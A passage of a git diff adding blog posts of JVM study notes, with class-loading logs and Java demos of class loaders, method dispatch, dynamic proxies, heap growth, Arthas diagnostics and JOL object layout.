sun.misc.JavaNetAccess from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.net.URLClassLoader$7 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.Launcher$ExtClassLoader$1 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.StringTokenizer from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.MetaIndex from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.Readable from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.io.Reader from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.io.BufferedReader from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.io.InputStreamReader from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.io.FileReader from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.nio.cs.StreamDecoder from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.nio.CharBuffer from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.nio.HeapCharBuffer from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.nio.charset.CoderResult from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.nio.charset.CoderResult$Cache from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.nio.charset.CoderResult$1 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.nio.charset.CoderResult$2 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.reflect.Array from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.HashMap$TreeNode from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.io.FileInputStream$1 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.net.www.ParseUtil from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.BitSet from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.Locale from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.util.locale.LocaleObjectCache from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.Locale$Cache from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.concurrent.ConcurrentMap from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.concurrent.ConcurrentHashMap from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.concurrent.locks.Lock from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.concurrent.locks.ReentrantLock from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.concurrent.ConcurrentHashMap$Segment from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.concurrent.ConcurrentHashMap$Node from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.concurrent.ConcurrentHashMap$CounterCell from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.concurrent.ConcurrentHashMap$CollectionView from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.concurrent.ConcurrentHashMap$KeySetView from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.concurrent.ConcurrentHashMap$ValuesView from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.concurrent.ConcurrentHashMap$EntrySetView from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.util.locale.BaseLocale from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.util.locale.BaseLocale$Cache from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.util.locale.BaseLocale$Key from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.util.locale.LocaleObjectCache$CacheEntry from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.Locale$LocaleKey from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.util.locale.LocaleUtils from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.CharacterData from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.CharacterDataLatin1 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.net.Parts from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.net.URLStreamHandler from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.net.www.protocol.file.Handler from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.net.util.IPAddressUtil from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.JavaSecurityAccess from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.security.ProtectionDomain$JavaSecurityAccessImpl from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.JavaSecurityProtectionDomainAccess from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.security.ProtectionDomain$2 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.security.ProtectionDomain$Key from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.security.Principal from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.URLClassPath from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.net.www.protocol.jar.Handler from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.Launcher$AppClassLoader$1 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.SystemClassLoaderAction from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.invoke.MethodHandleImpl from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.invoke.MethodHandleImpl$1 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.function.Function from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.invoke.MethodHandleImpl$2 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.invoke.MethodHandleImpl$3 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ClassValue from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.invoke.MethodHandleImpl$4 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ClassValue$Entry from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ClassValue$Identity from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ClassValue$Version from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.invoke.MemberName$Factory from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.invoke.MethodHandleStatics from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.invoke.MethodHandleStatics$1 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.PostVMInitHook from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.PostVMInitHook$1 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.usagetracker.UsageTrackerClient from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.concurrent.atomic.AtomicBoolean from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.usagetracker.UsageTrackerClient$1 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.usagetracker.UsageTrackerClient$4 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.usagetracker.UsageTrackerClient$3 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.io.FileOutputStream$1 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.launcher.LauncherHelper from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.net.URLClassLoader$1 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.net.util.URLUtil from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.URLClassPath$3 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.URLClassPath$Loader from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.URLClassPath$JarLoader from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.zip.ZipConstants from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.zip.ZipFile from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.JavaUtilZipFileAccess from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.zip.ZipFile$1 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.URLClassPath$FileLoader from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.Resource from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.URLClassPath$FileLoader$1 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.nio.ByteBuffered from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.PerfCounter from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.Perf$GetPerfAction from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.Perf from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.PerfCounter$CoreCounters from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.nio.ch.DirectBuffer from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.nio.MappedByteBuffer from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.nio.DirectByteBuffer from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.nio.LongBuffer from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.nio.DirectLongBufferU from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.security.PermissionCollection from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.security.Permissions from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.net.URLConnection from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.net.www.URLConnection from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.net.www.protocol.file.FileURLConnection from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.net.www.MessageHeader from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.io.FilePermission from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.io.FilePermission$1 from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.io.FilePermissionCollection from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.security.AllPermission from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.security.UnresolvedPermission from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.security.BasicPermissionCollection from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded NotInitialization from file:/Users/baoguo/codes/demo/src/main/java/] +[Loaded sun.launcher.LauncherHelper$FXHelper from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.Class$MethodArray from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.Void from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded SuperClass from file:/Users/baoguo/codes/demo/src/main/java/] +[Loaded SubClass from file:/Users/baoguo/codes/demo/src/main/java/] +SuperClass init! +123 +[Loaded java.lang.Shutdown from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.Shutdown$Lock from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +baoguo@MacBook-Pro java % +``` + diff --git a/_posts/2022-04-07-596-ClassLoaderTest.md b/_posts/2022-04-07-596-ClassLoaderTest.md new file mode 100644 index 0000000..078668a --- /dev/null +++ b/_posts/2022-04-07-596-ClassLoaderTest.md @@ -0,0 +1,48 @@ +--- +layout: post +title: JVM ClassLoaderTest +pid: 596 +tags: [java] + +--- + +```java +package com.test.demo; + +import java.io.IOException; +import java.io.InputStream; + +public class ClassLoaderTest { + public static void main(String[] args) throws Exception{ + ClassLoader myLoader = new ClassLoader() { + @Override + public Class loadClass(String name) throws ClassNotFoundException { + try { + String fileName = name.substring(name.lastIndexOf(".")+1)+".class"; + InputStream is = getClass().getResourceAsStream(fileName); + if (is == null) { + return super.loadClass(name); + } + byte[] b = new byte[is.available()]; + is.read(b); + return defineClass(name, b, 0, b.length); + }catch (IOException e) { + throw new ClassNotFoundException(name); + } + } + }; + + Object obj = myLoader.loadClass("com.test.demo.ClassLoaderTest").newInstance(); + System.out.println(obj.getClass()); + System.out.println(obj instanceof ClassLoaderTest); + } +} +``` + + + + +```java + +``` + diff --git a/_posts/2022-04-08-597-StaticDispatch.md b/_posts/2022-04-08-597-StaticDispatch.md new file mode 100644 index 0000000..efbdd19 --- /dev/null +++ b/_posts/2022-04-08-597-StaticDispatch.md @@ -0,0 +1,77 @@ +--- +layout: post +title: JVM StaticDispatch +pid: 597 +tags: [java] + +--- + +```java +public class StaticDispatch { + static abstract class Human { + } + + static class Man extends Human { + } + + static class Woman extends Human { + } + + public void sayHello(Human guy) { + System.out.println("hello, guy!"); + } + + public void sayHello(Man guy) { + System.out.println("hello, gentleman!"); + } + + public void sayHello(Woman guy) { + System.out.println("hello, lady!"); + } + + public static void main(String[] args) { + Human man = new Man(); + Human woman = new Woman(); + StaticDispatch sr = new StaticDispatch(); + sr.sayHello(man); + sr.sayHello(woman); + } + } +``` + + + + +```java +public class StaticDispatch1 { + static class Human { + public void sayHello() { + System.out.println("hello, guy!"); + } + } + + static class Man extends Human { + public void sayHello() { + System.out.println("hello, gentleman!"); + } + } + + static class Woman extends Human { + public void sayHello() { + System.out.println("hello, lady!"); + } + } + + public static void main(String[] args) { + Human human = new Human(); + human.sayHello(); + + human = new Man(); + human.sayHello(); + + human = new Woman(); + human.sayHello(); + } +} +``` + diff --git a/_posts/2022-04-08-598-Overload.md b/_posts/2022-04-08-598-Overload.md new file mode 100644 index 0000000..00d35ba --- /dev/null +++ b/_posts/2022-04-08-598-Overload.md @@ -0,0 +1,55 @@ +--- +layout: post +title: JVM Overload +pid: 598 +tags: [java] + +--- + +```java +import java.io.Serializable; + +public class Overload { + public static void sayHello(Object arg) { + System.out.println("hello object"); + } + + public static void sayHello(int arg) { + System.out.println("hello int"); + } + + public static void sayHello(long arg) { + System.out.println("hello long"); + } + + public static void sayHello(Character arg) { + System.out.println("hello Character"); + } + + public static void sayHello(char arg) { + System.out.println("hello char"); + } + + public static void sayHello(char... arg) { + System.out.println("hello char..."); + } + + public static void sayHello(Serializable arg) { + System.out.println("hello Serializable"); + } + + public static void main(String[] arg) { + sayHello('a'); + } + +} + +``` + + + + +```java + +``` + diff --git a/_posts/2022-04-08-599-DynamicDispatch.md b/_posts/2022-04-08-599-DynamicDispatch.md new file mode 100644 index 0000000..dfa648f --- /dev/null +++ b/_posts/2022-04-08-599-DynamicDispatch.md @@ -0,0 +1,47 @@ +--- +layout: post +title: JVM DynamicDispatch +pid: 599 +tags: [java] + +--- + +```java +public class DynamicDispatch { + static abstract class Human { + protected abstract void sayHello(); + } + + static class Man extends Human { + @Override + protected void sayHello() { + System.out.println("man say hello"); + } + } + + static class Woman extends Human { + @Override + protected void sayHello() { + System.out.println("woman say hello"); + } + } + + public static void main(String[] args) { + Human man = new Man(); + Human woman = new Woman(); + man.sayHello(); + woman.sayHello(); + man = new Woman(); + man.sayHello(); + } +} + +``` + + + + +```java + +``` + diff --git a/_posts/2022-04-08-600-FieldHasNoPolymorphic.md b/_posts/2022-04-08-600-FieldHasNoPolymorphic.md new file mode 100644 index 0000000..d741cfc --- /dev/null +++ b/_posts/2022-04-08-600-FieldHasNoPolymorphic.md @@ -0,0 +1,51 @@ +--- +layout: post +title: JVM FieldHasNoPolymorphic +pid: 600 +tags: [java] + +--- + +```java +public class FieldHasNoPolymorphic { + static class Father { + public int money = 1; + public Father() { + money = 2; + showMeTheMoney(); + } + + public void showMeTheMoney() { + System.out.println("I am Father, i have $" + this.money); + } + } + + static class Son extends Father { + public int money = 3; + + public Son() { + money = 4; + showMeTheMoney(); + } + + public void showMeTheMoney() { + System.out.println("I am Son, i have $" + money); + } + } + + public static void main(String[] args) { + Father guy = new Son(); + System.out.println("This guy has $" + guy.money); + } + +} + +``` + + + + +```java + +``` + diff --git a/_posts/2022-04-09-601-DynamicProxyTest.md b/_posts/2022-04-09-601-DynamicProxyTest.md new file mode 100644 index 0000000..29b58bb --- /dev/null +++ b/_posts/2022-04-09-601-DynamicProxyTest.md @@ -0,0 +1,132 @@ +--- +layout: post +title: JVM DynamicProxyTest +pid: 601 +tags: [java] + +--- + +```java +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; + +public class DynamicProxyTest { + interface IHello { + void sayHello(); + } + + static class Hello implements IHello { + @Override + public void sayHello() { + System.out.println("hello world"); + } + } + + static class DynamicProxy implements InvocationHandler { + Object originalObj; + + Object bind(Object originalObj) { + this.originalObj = originalObj; + return Proxy.newProxyInstance(originalObj.getClass().getClassLoader(), + originalObj.getClass().getInterfaces(), this); + } + + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + System.out.println("welcome"); + return method.invoke(originalObj, args); + } + } + + public static void main(String[] args) { + System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles","true"); + IHello hello = (IHello) new DynamicProxy().bind(new Hello()); + hello.sayHello(); + } +} + + +``` + + + + +```java +// +// Source code recreated from a .class file by IntelliJ IDEA +// (powered by FernFlower decompiler) +// + +import DynamicProxyTest.IHello; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.lang.reflect.UndeclaredThrowableException; + +final class $Proxy0 extends Proxy implements IHello { + private static Method m1; + private static Method m3; + private static Method m2; + private static Method m0; + + public $Proxy0(InvocationHandler var1) throws { + super(var1); + } + + public final boolean equals(Object var1) throws { + try { + return (Boolean)super.h.invoke(this, m1, new Object[]{var1}); + } catch (RuntimeException | Error var3) { + throw var3; + } catch (Throwable var4) { + throw new UndeclaredThrowableException(var4); + } + } + + public final void sayHello() throws { + try { + super.h.invoke(this, m3, (Object[])null); + } catch (RuntimeException | Error var2) { + throw var2; + } catch (Throwable var3) { + throw new UndeclaredThrowableException(var3); + } + } + + public final String toString() throws { + try { + return (String)super.h.invoke(this, m2, (Object[])null); + } catch (RuntimeException | Error var2) { + throw var2; + } catch (Throwable var3) { + throw new UndeclaredThrowableException(var3); + } + } + + public final int hashCode() throws { + try { + return (Integer)super.h.invoke(this, m0, (Object[])null); + } catch (RuntimeException | Error var2) { + throw var2; + } catch (Throwable var3) { + throw new UndeclaredThrowableException(var3); + } + } + + static { + try { + m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object")); + m3 = Class.forName("DynamicProxyTest$IHello").getMethod("sayHello"); + m2 = Class.forName("java.lang.Object").getMethod("toString"); + m0 = Class.forName("java.lang.Object").getMethod("hashCode"); + } catch (NoSuchMethodException var2) { + throw new NoSuchMethodError(var2.getMessage()); + } catch (ClassNotFoundException var3) { + throw new NoClassDefFoundError(var3.getMessage()); + } + } +} + +``` + diff --git a/_posts/2022-04-10-602-HeapTest.md b/_posts/2022-04-10-602-HeapTest.md new file mode 100644 index 0000000..395c1cb --- /dev/null +++ b/_posts/2022-04-10-602-HeapTest.md @@ -0,0 +1,39 @@ +--- +layout: post +title: JVM HeapTest +pid: 602 +tags: [java] + +--- + +```java +import java.util.ArrayList; + +public class HeapTest { + + byte[] a = new byte[1024 * 100]; //100KB + + public static void main(String[] args) throws InterruptedException { + ArrayList heapTest = new ArrayList<>(); + while (true) { + heapTest.add(new HeapTest()); + Thread.sleep(10); + } + + } +} + + + +``` + + + + +```java +baoguo@MacBook-Pro java % jvisualvm + +如果visualGC插件没有安装，就自己安装一下。 + +``` + diff --git a/_posts/2022-04-11-603-Arthas.md b/_posts/2022-04-11-603-Arthas.md new file mode 100644 index 0000000..c17e574 --- /dev/null +++ b/_posts/2022-04-11-603-Arthas.md @@ -0,0 +1,114 @@ +--- +layout: post +title: JVM Arthas +pid: 603 +tags: [java] + +--- + +https://arthas.aliyun.com/doc/ + + + + +```java +baoguo@MacBook-Pro software % curl -O https://arthas.aliyun.com/arthas-boot.jar +baoguo@MacBook-Pro software % java -jar arthas-boot.jar +[arthas@701]$ dashboard + + + + +``` + + + + +```java + +import java.util.HashSet; + +public class ArthasTest { + private static HashSet hashSet = new HashSet(); + + public static void main(String[] args) { + cpuHigh(); + deadThread(); + addHashSetThread(); + } + + public static void addHashSetThread() { + new Thread(() -> { + int count = 0; + while (true) { + try { + hashSet.add("count" + count); + Thread.sleep(10000); + count++; + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + }).start(); + } + + public static void cpuHigh() { + new Thread(() -> { + while (true) { + + } + }).start(); + } + + private static void deadThread() { + Object resourceA = new Object(); + Object resourceB = new Object(); + Thread threadA = new Thread(() -> { + synchronized (resourceA) { + System.out.println(Thread.currentThread() + " get ResourceA"); + try { + Thread.sleep(1000); + }catch (InterruptedException e) { + e.printStackTrace(); + } + System.out.println(Thread.currentThread() + "waiting get resourceB"); + synchronized (resourceB) { + System.out.println(Thread.currentThread() + "get resourceB"); + } + } + }); + + Thread threadB = new Thread(() -> { + synchronized (resourceB) { + System.out.println(Thread.currentThread() + " get ResourceB"); + try { + Thread.sleep(1000); + }catch (InterruptedException e) { + e.printStackTrace(); + } + System.out.println(Thread.currentThread() + "waiting get resourceA"); + synchronized (resourceA) { + System.out.println(Thread.currentThread() + "get resourceA"); + } + } + }); + + threadA.start(); + threadB.start(); + } +} + +``` + + +```java +[arthas@5516]$ dashboard +[arthas@5516]$ thread 10 +"Thread-0" Id=10 RUNNABLE + at ArthasTest.lambda$cpuHigh$1(ArthasTest.java:29) + at ArthasTest$$Lambda$1/531885035.run(Unknown Source) + at java.lang.Thread.run(Thread.java:748) +[arthas@5634]$ jad ArthasTest -- 反编译服务端代码，可以知道代码有没有发布成功 + +``` + diff --git a/_posts/2022-04-16-604-JOLSample.md b/_posts/2022-04-16-604-JOLSample.md new file mode 100644 index 0000000..14757bf --- /dev/null +++ b/_posts/2022-04-16-604-JOLSample.md @@ -0,0 +1,92 @@ +--- +layout: post +title: JVM JOLSample +pid: 604 +tags: [java] + +--- + + + + +```java + + org.openjdk.jol + jol-core + 0.9 + + +import org.openjdk.jol.info.ClassLayout; + +public class JOLSample { + public static void main(String[] args) { + ClassLayout layout = ClassLayout.parseInstance(new Object()); + System.out.println(layout.toPrintable()); + + System.out.println(); + ClassLayout layout1 = ClassLayout.parseInstance(new int[]{}); + System.out.println(layout1.toPrintable()); + + System.out.println(); + ClassLayout layout2 = ClassLayout.parseInstance(new A()); + System.out.println(layout2.toPrintable()); + } + + public static class A { + int id; + String name; + byte b; + Object o; + } + +} + + +``` + + + + +```java +java.lang.Object object internals: + OFFSET SIZE TYPE DESCRIPTION VALUE + 0 4 (object header) 01 00 00 00 (00000001 00000000 00000000 00000000) (1) + 4 4 (object header) 00 00 00 00 (00000000 00000000 00000000 00000000) (0) + 8 4 (object header) e5 01 00 f8 (11100101 00000001 00000000 11111000) (-134217243) + 12 4 (loss due to the next object alignment) +Instance size: 16 bytes +Space losses: 0 bytes internal + 4 bytes external = 4 bytes total + + +[I object internals: + OFFSET SIZE TYPE DESCRIPTION VALUE + 0 4 (object header) 01 00 00 00 (00000001 00000000 00000000 00000000) (1) + 4 4 (object header) 00 00 00 00 (00000000 00000000 00000000 00000000) (0) + 8 4 (object 